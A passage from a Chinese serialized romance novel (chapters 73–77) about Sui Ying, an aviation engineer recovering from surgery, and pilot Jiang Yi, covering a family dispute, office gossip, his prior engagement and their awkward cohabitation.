“我丈夫死了，我在伺候你妈，我还要照顾我儿子，我自己病成那个样子没人管……”
两人越吵越大声，声音盖过了门铃声。
蒋弋扶着脸色苍白的隋英，一把将伸手阻拦的隋淑慧甩在茶几上，要不是隋英硬拽着他胳膊，就不止是这一下。
周蕊林和孟枕月手忙脚乱将隋淑慧搀扶起来。
隋淑慧泼妇骂街扑过来，却看到蒋弋活动了下脖颈手腕，立刻刹脚，忽然往地上一坐，撒泼打滚。
隋英扭头开门，蒋弋忽然开口：“你该不会是有什么把柄在你老公手里吧。”
所有人愣住，包括门口邻居。
隋英有种不好的预感。
“你老公让你捉奸在床，你们要离婚，房子归你合情合理，不应该被扫地出门才对。”
隋英低头，蒋弋这人，看着矜贵礼貌，像个翩翩公子，实际上毒舌损人样样不落人后，且有武力加持。
隋淑慧立刻止住嚎啕。
周蕊林狐疑地看着她，这两天隋淑慧住她这里，吃她的用她的，理由是隋英向她告状，说看到姑父和人开房，导致他们夫妻大吵一架，闹到要离婚的地步。
现在又是隋淑慧亲自捉奸在床，看来这里面隐情不少啊。
“妈，你不是说我爸……”
门口邻居一脸吃瓜看好戏的表情，弄的隋淑慧灰头土脸，面如猪肝。
“这是你女儿吧。”蒋弋嘴角牵起一丝笑意。
孟枕月惊恐地看着蒋弋，生怕他再说出更惊悚的话。
果然，蒋弋没让人失望，“这么大个人了，也没地方
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住，还要挤亲戚家。”
这不是骂孟枕月是个没皮没脸的废物嘛。
隋英咬唇，他是懂戳人心窝子的。
周蕊林抱臂，“淑慧，不是我说你，老孟都干出这种事了，你可不能心软，还把房子让给他，别便宜了其他女人。”
隋淑慧张口结舌，有苦难言，眼睁睁看着隋英这个祸害离开，看热闹的邻居假惺惺将她扶起，七嘴八舌给她出主意……
隋英靠着窗户，闭目摁着太阳穴。
蒋弋将车启动，暖气打开，保温杯送到嘴边，隋英睁眼，就着他的手喝了几口，“对不起，害你跟着我受委屈了。”
“饿不饿？”
隋英摇头。
蒋弋又打开另一个保温杯，“这是燕窝，喝完吃药，乖。”
隋英身心疲惫，蒋弋调了下座椅，让她半躺着。
“你想听吗？”
蒋弋轻轻抚摸着她假发帽下的伤处，“等你想说的时候再说。”
隋英偏过脸去，“谢谢你。”
他默默看了会，才开车，“隋英，我带你回家。”
蒋弋家别墅在老城区，参天古树环绕，有一种历史沉淀的厚重韵味。
他们到时，别墅有人在忙碌，蒋弋在她家时才发消息让人收拾老宅。
“看着不像没人住。”
隋英下车，扫了一圈，院中花园里有棵银杉，“这种树好像只要西南地区有吧，还是国家一级保护树木。”
如今这种带院子的房子已经很少了，隋英一直很喜欢，她从小长大的地方就带院子，不过她家是自建房，属于辖区，跟寸土寸金的市中心不能比。
“为了这棵树，老宅几十年一直安排人看守，最主要就是照顾它。”
隋英以为这种老别墅大概潮湿灰暗，进门时下意识裹紧衣领，没想到里面温暖明媚，还有淡淡的木樨香。
一位面容温和女人端上水果和姜茶，“蒋弋，英英，饭马上就好，你们要不先上楼换衣服。”
“崔姨，鲁骏不是安排了人过来，你就不要忙了。”
蒋弋介绍，“这是崔姨，从小照顾我，现在和崔叔一起照顾那棵银杉。”
隋英礼貌问好，崔姨笑容满面，“第一次见英英，我想让她尝尝我的手艺，谁管你。”
蒋弋虽然没再说什么，可他神情放松，显然与崔姨很亲。
崔姨催促，“快上去换衣服，你叔出门买点东西，一会就回来。”
蒋弋带着隋英上楼，他的房间像个游戏房，墙上贴着篮球明星海报，已经有些旧了，桌上堆满游戏碟，还有各种手柄，还有游戏枪……。
“让换衣服也不给我准备，”蒋弋看着柜子里都是高中时留下的衣服，“这么小我肯定穿不上。”
隋英倒不在意换不换衣服，“你和崔姨很亲？”
“嗯，蒋总和贺总不经常在家，小时候还好，外公外婆都在，”蒋弋关上柜子，“上高中，他们转移了事业重心，崔姨就照顾我到毕业。”
“后来我去了南渝，他们不想离开故土，就留下了。”
正说着，崔姨敲门，“蒋弋，你们两个的衣服在这边，房间我都收拾好了。”
“哎呀崔姨，你怎么不早说。”蒋弋难得撒娇，拉着隋英往旁边卧室去。
崔姨在后面嗔怪，“你也不想想，你的房间是女孩子住的吗，不是游戏机就是篮球，你还把球星的鞋拿回来收藏，你也不想想那味。”
蒋弋脸拉了老长，隋英差点笑死。
74. Chap.74
鲁骏将酒店的东西都送了过来，隋英舒舒服服洗了澡，换好衣服，这才和蒋弋一起下楼。
席间，崔姨热情地招呼隋英多吃。
崔叔话很少，只悄悄问蒋弋，“啥时候办婚礼？”
这话自然落入隋英耳中。
眼神微晃，他们之间的问题并没有解决，眼下只是因她身体状况按下了暂停键。
他们领证的目的不是为了结婚。
这话有歧义，但事实就是如此。
崔姨觑着两人脸色，嗔了眼老伴，“吃饭呢，说这个干什么，人家年轻人有自己的想法，要我们这些老古董瞎操心。”
“我这不也是关心嘛。”崔叔小声嘀咕。
蒋弋安慰崔叔，“放心，到时候你和崔姨肯定要参加。”
之后几天，隋英基本没出过门，崔姨无微不至的照顾她，蒋弋朋友多，每天几十个电话，推不过去，只能出门聚会。
她看完大学老师回复的邮件，思考了一会书稿走向，端着水杯准备下楼，忽然听到楼下传来蒋弋和蒋君沅的声音。
“蒋弋，你到底怎么打算的。”
“妈，我自己的事请交给我自己处理好吗。”
“现在这个局面就是你处理的结果，你让我怎么向顾家交代，你对得起柔嘉吗？”
蒋弋明显不耐烦，“妈，我和柔嘉没有感情，我哪里对不起她了？。”
“你说什么，你们从小一起长大，快三十年的感情，说没有就没有？你跟你爸一样狼心狗肺。”
蒋君沅刚强的面容揉成一团，捂着坐在沙发上轻声啜泣。
蒋弋叹了口气，坐在身边揽着她，口气放软，“妈，我是说没有爱情。”
“我不相信，我知道你的心思，这么多年，爱情肯定会消磨掉，可你不能不负责任啊。”
蒋弋敛眉，轻轻呼了口气，“不是消磨，是从来都没有过。妈，跟我一起长大的女生不止柔嘉，我只当她们是朋友。”
蒋君沅推了一把蒋弋，“你当她是朋友，你答应外婆娶她。”
蒋弋面色一僵，松开母亲，低头不知道在想什么。
蒋君沅想了下，缓了口气，“你外婆那么疼你，这是他最后的心愿，我相信你答应她时一定是真心实意的。”
“贺明霁人品虽然不怎么样，但有一句话我是认可的，男人永远看不到身边人的好，你去南渝找隋英，结果扑空了，你心里不甘心。”
“不说外婆，就说柔嘉为你做的，你在南渝读书那几年，我们母子关系那么僵，是柔嘉在照顾妈妈和外婆，当然这里面肯定也有我的问题，但柔嘉没有错，她只是太爱你了。”
“你答应了娶她，你们还当着全公司的面宣布了结婚的消息，你转头就娶了别人，你让其他人怎么看柔嘉，她没有做错什么，不该得到这样的对待。”
蒋弋揉着头发，“妈，我会跟柔嘉道歉，事情我会解决。”
蒋君沅再接再厉，“我知道，隋英她身体不好，你们是高中同学，你是个热心肠的孩子，帮她是应该的，你已经做了你该做的，等她身体好些了，就跟人家说清楚。”
……
隋英悄悄退回房间，轻轻掩上门，看着空水杯，嗓子愈发干涩。
重新坐回电脑桌前，想要继续整理书稿，竟发现思绪一时混乱，一点头绪都没有，只能拿起文献找找灵感。
蒋弋没有提蒋君沅回来的事，隋英也没有问。
她给南航公司人事打了电话，当初请的是婚假，后面补了病假。
“我想回公司上班。”
“不行，”蒋弋拿着游戏手柄，“我再帮你请两个月的假，等身体彻底恢复了再说。”
“是我的书，光靠理论资料不行，我得回公司，我听说有一架送去大检修的飞机，机会难得。”
蒋弋瞥了眼隋英，“那更不可能。”
“我明天就回南渝。”
蒋弋终于放下游戏手柄，过来拥着隋英，合上电脑，“费眼睛。”
“你干嘛，”隋英打开，往旁边躲了下，“我的初稿还有很多问题，你别打扰我。”
“你身体还没恢复。”
“我已经好了。”隋英起身，拿了笔记本坐到一旁，自顾自忙起来。
蒋弋看了一会，什么也没说，第二天隋英定机票的时候发现自己已经定了，她没去问他，沉默的收拾好东西。
崔叔将他俩送到机场，大概瞧出两人气氛不对，但崔叔寡言讷语，就只说了句“到了回个电话”。
近两个月没回出租屋，一股潮湿阴冷的霉味扑面而来，隋英轻咳了下，没来得及换鞋，在柜子里寻摸了半天才找到空调遥控器，打开热风。
蒋弋放下东西，转身就回了隔壁。
隋英摸着床褥，有点发潮，她将床单被罩都换下来，才被人伺候了两个月，就四肢不勤，一个人折腾了半天，才将新被罩套上。
往常，这种事她一两分钟就弄完了。
正想着要不要先拖地，敲门声响起，她忙去开门，却是两个穿着“家政”字样衣服的陌生女人。
“是隋英女士叫的家政服务吗？”
她看了眼隔壁也有家政敲门，蒋弋开门，两人对视一眼，立刻明了。
家政将房间打扫完，她看着晾晒在阳台上的床单被罩，只觉得房间更加阴冷潮湿，忍不住打了个喷嚏。
在空调出风口探了探，一点热风都没有，难怪。
隋英联系房东修空调，说是去新加坡度假，她只能自己联系维修人员，捣鼓了半天，到晚上还是不热。
硬撑到第二天上班，嗓子哑哑的，鼻子涩涩的。
到人事销假，好几个人都盯着她看，触及到她眼神时立刻回避，她刚出了办公室，身后议论四散蔓延。
“手段真高，蒋机都能拿下。”
“关键之前刚跟贺董交往，无缝衔接啊。”
“谁知道是不是无缝衔接，有可能同时进行。”
……
隋英强忍着怒气找贺兰琛协商工作。
近两个月不见，两人都有些尴尬。
“抱歉。”
“对不起。”
两天同时开口，隋英愣了下，“贺董，你没有对不起我，是我害你承受流言蜚语，应该是我说抱歉。”
“你觉得抱歉是因为你心里没有我，我向你道歉是因为我承诺要照顾你，却没有做到。”
隋英不知道该怎么回应，只能低声说道：“你没有必要这样，我很感激你为我做的一切。”
“你还不知道吧，”贺兰琛忽然换了语气，“算了，等你知道了真相，就不会感激我，只会恨我。”
“贺董，我永远都不会恨你。”她起身，将工作计划双手递上。
贺兰琛深深看了她一眼，接过工作文件夹，“隋英，虽然咋俩没结成婚，但我真希望你养好身体，这份工作身体负荷太大。”
他将文件放一边，“如果你一定要工作，那就接手飞行系控
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制部门，别忘了，年前你答应过。”
“贺董，我还是想参与飞机大检修，机会难得，我的书稿还差实践数据，其实飞机内部构造我熟悉，只是我之前在工程院见到的都是报废的和飞机模型，现役飞机我还没见过。”
贺兰琛起身，示意她到沙发那边坐。
“这次检修是冯总亲自带人，”觑着隋英眼色，贺兰琛点头，“而且这架检修的飞机跟你和冯总还挺有缘分。”
“CA-8？”
见贺兰琛点头，隋英知道自己不可能争取到，只能接受安排。
她完全接手飞行控制系统部门，才体会到苏韫之前给她的忠告。
之前她只需要做好本职工作就行，现在她需要协调与其他部门工作衔接，一开始就阻碍重重。
第一次给钱穗岁派任务，就与其他部门的人发生争执，隋英赶去时，正好听见他们争吵：
“CA-8冯总亲自检修，自证清白，你们老大就是着急表现，用不正当手段将人挤走，结果呢，冯总还不是回来了，而且现在是冯总，隋英呢，现在应该叫隋主管吧，这差距！。”
他比划着，最后双手一摊，意思是没有可比性。
隋英听的莫名其妙。
钱穗岁气的跳脚，“我们头儿本身就实力强，不需要用任何手段，冯总，冯总，”
“冯总得公司器重，重新回来带领我们大家，”隋英怕钱穗岁说错话，忙接过话头，“我相信南航在冯总的带领下，一定能再上一个台阶。”
高帽子谁不会戴。
这段时间写书，虽然是工科，但有些套话还是必不可少。
与钱穗岁争吵的正是冯总徒弟。
上次在酒桌上被蒋弋当众拆穿和小三生二胎后，和老婆官司到现在还胶着，他老婆财会出身，将家里财务牢牢抓在手心，逼他净身出户。
小三倒是对他不离不弃，可他现在没钱养孩子啊。
其他部门还能沟通协调，同部门有工程师在测算中发现问题，申报奖金被拒，理由是这属于工程师常规工作。
这让他们对隋英发现“撞鸟”一事，能申请到奖金更加心存芥蒂。
隋英那次有一定特殊性。首先，飞机颠簸返航，老太太心脏病复发，在网上引起广泛讨论；其次，她测算的那次没问题，往前推了一趟，才发现问题。
这里面涉及到前一趟飞行员，也就是冯副总在飞行过程汇总没有发现问题，当日工程师也没有检测出问题。
那次的问题是无法通过飞行动力系统检测到的，而是通过飞行记录听出来的。
隋英发现问题，并及时修正，避免了后续飞行中存在的隐患，CA-8复飞也平息了网络舆论。
当时顾柔嘉给她申请奖金，合情合理。
隋英不可能，也没有必要拒绝她应得的奖金。
现在的问题是，从公司角度出发，工程师发现类似问题，原本就属于常规工作。
但站在工程师角度，工程师在事情发生之前及时发现隐患，并解决，避免了意外，难道不应该奖励吗？
工程师和公司的对立，让隋英这个个例就成了攻讦对象。
顾柔嘉用一件事，将隋英逼的在公司几乎无立足之地，她自己还落了好名声，挑不出任何问题。
隋英甩甩思绪，不想用恶意去揣测别人。
但有一点可以肯定，在绝对的实力面前，绝大多数问题都不是问题，她得加紧出版书稿，加快步伐掌握部门。
75. Chap.75
苏韫：【视频】（表情图）
隋英刚结束与程教授通话，看到苏韫留言，回复：【好】
视频立刻打过来。
苏韫看着隋英在室内穿着羽绒服，戴着毛线帽，眉毛眼睛皱成一团，“你是在南极吗？”
“南渝，”隋英起身倒了杯热水，“空调坏了，安装新空调要经过房东同意，我明天下班先买个电暖片应付一段时间。”
“你在上班？”苏韫不可思议，“蒋弋在干什么？你刚做完手术，上什么班。”
隋英嗔了她一眼，“上班是我坚持，他请了那么长时间假，其他飞行员都有意见。”
“况且，我不想习惯。”
“什么意思？”
隋英将听到的蒋君沅和蒋弋的对话告诉她，苏韫略微沉吟，“你觉得他对你的感情更多是因为不甘心？”
要不说苏韫是最懂她的人。
蒋弋这人，从小到大什么东西都唾手可得，身边也一直有女生围绕，唯一在隋英身上栽了跟头。
当年他选择去南渝，是在心里做了很大让步，结果扑空了。他觉得被愚弄，愤怒与不甘让他无论如何都不肯放手。
“英子，那你现在什么意思？”
隋英对齐A4纸，用订书机按分类订好，“他要给顾柔嘉交代，他们本来就有婚约，我…跟我领证是事出有因，与其让他为难，不如我主动跟他说清楚。”
要是以往，听到隋英这么说早发火了，可这次她异常沉默。
直到隋英将一摞手绘结构图订好，她才缓缓开口，“早点说清楚也好，拖得越久，越难以收拾。”
隋英一顿，“韫韫，你怎么样？”
这段时间，她给苏韫打了好几次电话，每次没说两句都匆匆挂断，发消息不是“在忙”，就是“挺好”。
可蒋弋说苏韫父母的生意在海外遭遇危机，连国内生意都遭受打击。
苏韫眼眶红了一圈，“英子，你说我是不是真的做错了？”
……
苏韫是隋英最羡慕的女孩样子，千娇万宠长大，遇事冲动，行为莽撞，可隋英还是羡慕她，可以肆意张扬的按着心意活着。
曾经鲜明灵动的女孩，此刻陷入深深自责。
据苏韫所说，她家在海外生意全军覆没，苏父苏母布局多年，全面败北，这个年纪，不会再折腾。
她的任性让父母多年心血付之东流。
苏韫是医生，于生意太嫩，她所做的一切补救措施仿佛飞蛾扑火。
父母反倒安慰她，说他们年纪大了，本来就不想再拓展海外事业，现在正好，可以提前退休。
她才知道自己有多任性多自私。
她宁可父母打骂她，也不想他们反过头来安慰她，这让她更自责，更难受。
“韫韫，你有什么打算？”
苏韫将镜头对准几摞医学书籍，“考博，深造，我联系了我们这科权威医院，人家愿意给我进修的机会。”
“这是叔叔阿姨一直的希望，也是你的理想。”隋英很高兴她能重整旗鼓，“你是在冀北进修吗？”
“欧洲，诶还是我们老同学丁文泽的关系，人家才给我机会。”
隋英点头，“他做医疗器械生意，应该有这方面的人脉。”
沉默了一瞬，“韫韫，那纪羡呢？”
苏韫嘴角扯动了下，不是嘲讽，也没有恨或者爱，只是平静的复述，“他跟家里脱离关系，他的公司破产，这些天一直在帮我家，可惜他也斗不过……哦，他现在回国创业。”
纪羡的做法隋英看不懂。
他要早这么干，事情还会闹到现在无法收场的地步吗，最多就是没有他前未婚妻家的帮忙，跟家里闹矛盾而已。
“我没告诉过你吧，蒋弋是从纪羡这里知道我们要去苏黎世做手术的消息。”
隋英挑眉，苏韫眨眨眼，这下全明白了。
纪羡自然是从苏韫那里得知，然后以此作为条件，让蒋弋将苏韫带来婚礼现场。
隋英失笑，“我就说，以蒋弋的性格，怎么会做这么离谱的事。”
苏韫翻了个白眼，“你以为蒋弋很靠谱？我告诉你，这段时间我和纪羡一起处理我们家的生意，跟这边圈子有接触，他们都在讨论蒋弋和顾柔嘉莫名其妙取消了婚礼。”
“取消婚礼？”
“就是没有如约结婚，可不就是取消了嘛。”
苏韫拿着手机躺床上，“我也是才知道蒋弋背景不简单，要不然他跟纪羡一个下场。还有啊，这边居然没有一个人挖到你的信息，我估计也是蒋弋做的。”
“我又没钱，挖到我又能怎样。”
苏韫表情严肃，“你动点脑子，我这段时间帮我爸妈处理海外一些生意，了解到顾柔嘉他们家都不是善茬，你能好端端的，蒋弋在背后肯定做了不少事。”
看着苏韫疲惫严肃的神情，隋英没那么天真，知道她说的十有八九是实情。
“英子，我不是要吓唬你，我只是，”苏韫自嘲一笑，“以前我挺自以为是的，我以为顾柔嘉就那样，可实际上人家背后的关系根本没动手，你在公司就已经被孤立。”
“我只想你保护好自己，至于要不要和蒋弋继续走下去，你先自己想好，再好好跟他商量。”
苏韫真的成熟了许多，在床上躺了一会，重新坐在书桌前挑灯夜读。
隋英连打了几个喷嚏，感觉鼻子涩涩的，有轻微感冒的症状，她想冲杯感冒灵，抽开抽屉。
没找到感冒药，只能重新合上抽屉。
蓦然，她猛地抽开，空空的一个小盒子，像是心口被剜去的一角。
她慌的翻箱倒柜，将抽屉里乱七八糟的东西都拿出来，每个盒子打开检查，又想着是不是从抽屉的缝隙里掉下去，趴在桌子底下找了好久，连灰尘碎屑都擦干净了。
所有的柜子，所有的抽屉，包括衣服口袋，她都找了一遍。
从最开始浑身发软，像是失去了什么最宝贵的东西，到这会精疲力尽，失魂落魄。
耳机，她珍藏了九年的一只耳机不见了。
隋英怔怔盯着桌子，瞳孔没有聚焦，许久才静下心思考。
家政。
掉地上，她们当垃圾扫走扔了？
毕竟那是一只很旧的耳机，边沿磨的发黄，扔掉很正常。
不对，她们只帮她洗了床单被罩和几件衣服，卧室桌上有书稿和药，她怕弄乱，就让她们不要动。
不是家政，那就没有人进来。
隋英之前几乎每天都要靠药物入眠，放耳机的盒子和药在一个抽屉，她每天都会看到。
要是之前就不见了，她一定会发现。
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她在沙滩上晕倒，苏韫和贺兰琛带着她直接上了邮轮，她的证件都是苏韫帮着整理的，也就是说苏韫回出租屋帮她拿了证件。
苏韫知道这只耳机对她的意义，肯定不会去碰。
蓦然，她想起，做手术前，为了不让她胡思乱想，蒋弋特意回来帮她拿了书稿。
想到这里，隋英直接出门，去敲隔壁的门。
“找我？”
蒋弋在身后出声，吓她一跳，见他穿着飞行员制服，外面套着大衣，显然是刚从机场回来，“呃……”
他按着指纹开门，“你刚出去了？。”
“我在家啊，”隋英跟着进屋，房间暖烘烘的，“你这边房子怎么有暖气？”
南方不是没有暖气吗，隋英是北方人，第一次在南方生活，没什么经验，环顾四周没有空调，还能这么暖和，那只能是暖气。
蒋弋放下东西，狐疑地看着她。
随即像是想到什么，一声不吭出门，隋英跟着出去，却见他去了她的房子，伸手摸了下空调，在她卧室门口转了一圈。
然后拎着她回房。
“蒋弋？”
隋英惴惴不安，摩挲着假发帽，讪讪解释：“空调坏了。”
毕竟她现在的身体不允许感冒。
蒋弋一言不发，摸着她两只手，到手腕，再往上，袖口有点紧，进不去。
隋英赶紧搓着冻得硬邦邦的双手。
温热地手摸着她微凉的脸颊，到耳朵，再到脖颈，隋英躲了下，没忍住笑出声，“…痒。”
“我就飞了一趟短途，你就把自己冻成这个样子？空调坏了脑子也坏了？”
隋英抓着脖子，“也没有多冷啊。”
“你还没说，你这里怎么这么暖和，”她讨好地笑笑，没话找话，“你飞哪里？”
蒋弋冷哼一声，直接回卧室，换了睡衣，又旁若无人的进了浴室。
隋英：“……”
她脱掉羽绒服，坐了一会，竟然觉得热，将棉拖鞋也脱掉，光脚踩在地毯上，这才发现地摊都是热的。
“原来是地暖。”
蒋弋裹着浴巾，边走边擦头发，身上还有未干的水珠，隋英看了一眼，不自然地错开目光。
“睡不着？”
“啊？”
蒋弋随手扔掉毛巾，扫了眼沙发，“你想在哪睡？”
“……”隋英忙站起，穿上拖鞋，一下还没穿好，跳了几步才穿好，“呃，我先回去了。”
“你那边那么冷，你再冻感冒。”
像是为了验证他的话，隋英忍不住打了个喷嚏，“我多穿点就好了，没事的。”
蒋弋胸口起伏，水珠顺着肌肤纹理乡下滑落，最后冷嗤一声，“你非要住那边是吧，行，我搬过去。”
看着他很大力地收拾了几件衣服，胡乱套上衣服，拎着皮箱就要过去，隋英再也忍不住，“你到底什么意思？”
“你昨晚睡的好吗？”
隋英不明所以，犹犹豫豫地点头，“还好。”
蒋弋连连冷笑，拎着箱子就走，还把她家门给反锁上，然后给她发了条短信：【你的东西明天搬】
接着关机。
隋英抓狂：谁能告诉我，他到底发什么脾气？
半夜，隋英惊坐起，话说她过来到底是干嘛来着？
76. Chap.76
“…上个月总结就到这里，本月重中之重是什么？”
人事抢答：“抢人啊。”
众人哄堂大笑，会议室气氛一松，隋英莞尔，在笔记第二项“校园招聘”上打了个星号。
校园招聘看似在夏季，实际上人才抢夺从春季就开始。
大家交头接耳，基本都是围绕南渝航天大学议论。
“咦，隋主管，你也是通过校招参加工作的？”
隋英微微一笑，“内荐。”
坐在对面的一位主管听到，立刻附和，“你们冀北航校就是不透明，我们南航不搞内荐那一套，都是公平竞争。”
南北航校之争由来已久，隋英也不恼，不软不硬笑着回击，“我也很羡慕南航的同事，既是同学又是同事，都不用挪地方，不像北航，毕业之后天南地北，参加个同学聚会，得飞到地球另一端，还得倒时差。”
“哈哈哈……”
众人哄堂一笑，有人揶揄，“人家北航在点我们抱团，今年校招可得仔细把关。”
“不用担心，有蒋弋在，学妹们不得抢着来。”
“那可不一定，偶像是没资格结婚的，现在都不知道人家学妹看不看得上了。”
此言一出，会议室气氛为之一变，只余小声窸窣议论，一个个目光在隋英、蒋弋、顾柔嘉和贺兰琛四人身上来回。
不过在场的都是人精，谁也不会主动点破。
贺兰琛笑着耸肩，看上去不甚在意；顾柔嘉盯着笔记本，不知道在想什么；蒋弋撑着脑袋打瞌睡，只有隋英低下头。
修炼不够啊。
冯总用笔敲着桌子，“好了安静，校招人事牵头，景总这边有什么安排？”
“校招是为了公司网罗人才，要求全部参加，做好排班，”景总斜睨着蒋弋，“不许无故缺席。”
蒋弋撑起脑袋，“景总，我真感冒。”
声音哑哑，闭塞滞涩，时不时咳嗽几声。
隋英若有所思，昨晚他在她的出租屋里冻感冒了？。
人事部景总嗔怪道：“谁不知道飞行员的身体素质，克服啊。呃…隋英，你身体好些了吗？”
“谢谢景总，我好多了。”
“那好，今年你也参加，回头我把流程发给你。”
隋英点头，目光触及蒋弋，对方给她一个幽怨的眼神，隋英怀疑自己看错了，再一转，视线与顾柔嘉相撞，两人同时错开。
自从在纪羡婚礼上匆匆一面后，她们没再见过。
在苏黎世，顾柔嘉不知道为什么没有来医院闹；参加鲁骏婚礼，顾柔嘉也是避开隋英才质问蒋弋的。
她回公司上班，灌了两耳朵闲言碎语，顾柔嘉没有主动找过她。
罢了，隋英甩甩思绪，不再去想这些。
其实她的老师向她推荐过南渝航天大学的林教授，请林教授为她的书写序言，她还没机会拜访，正好校招是个机会。
“我们见过，去年夏天，”林教授热情地招呼，“你的初稿我看了，不简单啊，出书不难，难的是将飞行经验与工程理论相结合，不愧是程老的高徒。”
隋英被夸的有些不好意思，“这么说您答应了。”
“我求之不得。”
林教授推着眼镜，眼底闪过一丝疑惑，随即甩开思绪，“对了，今年校招你也参加？”
“抢人是人事科的强项，我就是在专业方面卖弄一下，吓唬吓唬学弟学妹，”隋英微笑道，看到窗外闪过的人影，“教授，我听说我们公司的飞行员有一半都是您的学生。”
林教授哈哈一笑，他也看到刚刚经过的人，“我的学生很多，但是印象深刻的不多，蒋弋算一个。”
他看了眼隋英，眼底闪过一抹狡黠，“我想起我在哪见过你了。”
隋英：？
不是去年夏天吗。
“你和蒋弋是旧识吧。”
“…是。”隋英不知道林教授为什么突然这么说，但还是老老实实回答。
“蒋弋是我特招的，”林教授娓娓道来，“他当年的高考分数不够，我看过他当时复选飞行员的成绩，很不错，所以力排众议，破格录取了他。”
隋英十分诧异，蒋弋的高考成绩怎么可能不够。
除非他是故意的。
当年在学校里，隋英拼尽全力才能拿第一，可他好像轻轻松松就能拿第一。高三那年，他们两个轮流拿第一，可隋英感觉蒋弋是故意的。
有次考完试，隋英逼问，蒋弋不承认，她也就不了了之。
“教授，我记得当年南航的分数线也不算特别高。”隋英抿唇，她的分数超出分数线六十分，蒋弋不可能考不到。
林教授微笑了下，现在的孩子都这么不谦虚，南航的分数线全国排名前几，这还不算高。
不过他没有点破。
“他当年缺考一门，但是数理化是满分……”
林教授的话让隋英大为震惊，当年河道二中是只公布分数，不公布姓名，那段时间父亲过世，奶奶病重，家里凄风苦雨，她只参加了苏韫的升学宴，所以不知道蒋弋的分数。
之后就断了联系。
怎么也没想到蒋弋最后一门竟然没考。
是因为她说的那些话吗。
“你以为你是谁。”
“你是我的什么人？”
“如果你认为是男朋友，那我不要你了。”
“我说分手。”
隋英闭了闭眼，她都不知道自己可以说出这么伤人的话，竟会伤的他连最后一门都没考，那他当时得多伤心。
“…事实证明我的眼光不错，”林教授话锋一转，“我当年费尽心思，这小子还不情不愿，在学校转悠了几个月，差点跑掉。”
林教授遥遥点着蒋弋，后者像没骨头似的，往沙发上一歪，声音哑哑嘟哝，“教授，借您的地睡一觉。”
“哎呀，感冒了，隋英同学，你去医务室给他拿点药。”
隋英起身，蒋弋却跟着站起，“我自己去。”
却走的歪歪扭扭，隋英急忙扶着。
林教授笑着摇头，随即惋惜道：“当年要是同时有蒋弋隋英，还怕他北程年，遗憾呀！”
隋英扶着蒋弋，他却不怎么配合，除了咳嗽，问什么都只哼哼，见到同学就往她身上靠，没人时又趔着她。
隋英正好相反。
两人别别扭扭到医务室开了药。
隋英接了杯热水，感觉有点烫，吹了一会，才给他。
“好点没？
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”
蒋弋没好气地看着她，“胶囊都还没化开，没那么快。”
隋英瓮声瓮气，“你到底为什么生气？”
蒋弋感觉一圈打在棉花上，叹了口气，替她拉了下帽子，将拉链拉到头，牵起隋英的手，“我们去学校走走吧。”
隋英握紧他的手。
不知道为什么，她感觉他心情好像一下子好起来了。
两人走到飞行学院训练场地，一群飞行学员正在滚筒训练，隋英靠着蒋弋，“我这项成绩也第一。”
“我也第一。”
隋英抬头，蒋弋垂眸，相视一笑。
蒋弋故作惋惜，“幸亏你没来，要不然你就得屈居第三。”
“为什么不是第二？”
“这么说你承认不如我？”
蒋弋挑眉，隋英气的打了他一下，两人笑着绕训练操场追逐，累了就挤进一家奶茶店，找了个小角落，点了两杯奶茶。
有学弟学妹认出蒋弋，大胆地直接上前要联系方式，还与隋英打招呼。
蒋弋直接将付款码打开，放在吧台，“随便点。”
学弟学妹们瞬间欢呼，都是聪明人，也没人再要联系方式，男生都不想让自己女朋友用蒋弋的付款码，抢着付款，一时间小小奶茶店人气爆棚。
蒋弋看着一个学弟拿奶茶，先放在自己脸上试了试温度，再放在学妹脸上贴贴。
他想了下，“你试试我有没有发烧。”
隋英一惊，忙用手探了探他额头，“是有点烫。”
“你手这么凉，”蒋弋握着她双手暖手，“不准。”
双手被握着，见他脸颊到耳廓微红，隋英怕他发烧，用额头去试温度，他主动贴过来，贴上她的额头。
温热的气息交汇，细碎的笑声蔓延。
隋英猛地缩回，不敢抬头，整张脸都红透了，嘴唇微启，“这么多人。”
他们两个并不知道这一幕被同学拍下发到校园贴上，“额头吻”帖子一个小时不到直接冲顶。
“烧吗？”
“啊？”隋英抬眸，却见他一脸得逞的戏谑，气的嗔了她一眼，赌气不理他。
蒋弋用手撑着脑袋，将脸伸过来，“我感冒两天，都不见你关心一下我。”
“那还不是因为你莫名其妙发脾气，我不敢。”
蒋弋揉揉鼻子，“你回来就不要我了。”
“谁不要你，”隋英瞪着他，“你再胡说八道我就真的不理你了。”
“真狠心。”
蒋弋坐起，朝着另一边咳嗽几声，喝了几口奶茶，回过头见隋英一脸关切，心里顿时乐开了花。
“头晕。”
“我的房子太冷了，要不，”
蒋弋往她身边挪了下，“我今晚就搬回来。”
隋英：“……”她只是在斟酌是买个电暖片对付一下，还是他们换回来。
“我这两天失眠了。”蒋弋看着她。
明明是一张骨相浓烈，非常具有攻击性的脸，为什么她看到了委屈？
一定是眼花。
“你呢？”他问。
隋英眨眼，“我还好。”不知不觉，她的失眠症竟然不药而愈。
蒋弋冷哼一声，“果然。”
77. Chap.77
蒋弋生病，脾气像小孩，隋英只能先顺着，跟同事打过招呼后，两人回家搬东西。
“你别动，我来。”
蒋弋却不是自己搬回来，而是将她的东西打包，一趟一趟搬来。
隋英来南渝没多久，东西少的可怜，他一个人几下就搬完。
看着他归置东西，隋英再也忍不住，虽然两人领证，但不是那么回事，有些话总得有人先开口。
“蒋弋，咳，”隋英抿了下唇，“我有话对你说。”
“你想睡哪？”蒋弋拍了拍手，叉着腰，喘了口气，显然没怎么干过家务活。
隋英：“？…那个卧室吧。”
蒋弋租的房子有三个卧室，其中一间放健身器械，隋英指了一间没人住的，她这两天就住这间。
蒋弋挑眉，将她的东西搬进卧室。
最主要是电脑和书籍，大多数都是她在南渝市图书馆借的，他竟能准确无误地按照她原先的样子，摊开的摊开，折页的折页，放置的角度都是她的习惯。
“你记性这么好。”
“你刚要说什么？”
“……”眼尾余光瞥向一边，她恨不能抽自己一个耳光，刚刚怎么就顺手一指。
搬来一起住，然后提离婚？
怎么想都很诡异。
蒋弋敛眉，扶着她坐在沙发上，“是不是有人找过你？”
？
“我妈知道我的底线，顾柔嘉我找人盯着，顾家其他人……”
“没人找我。”
隋英不敢相信自己听到的，急急打断他的话，深吸一口气，和盘托出，“我听到你和蒋董的谈话了，在钨华，你家。”
蒋弋眼神微变，“所以你想跟我离婚？”
“不是我想，是，”
“你不想，”蒋弋懒懒仰在沙发上，“我也不想年纪轻轻就二婚，所以凑合过吧。”
隋英：“……”那就先凑合吧。
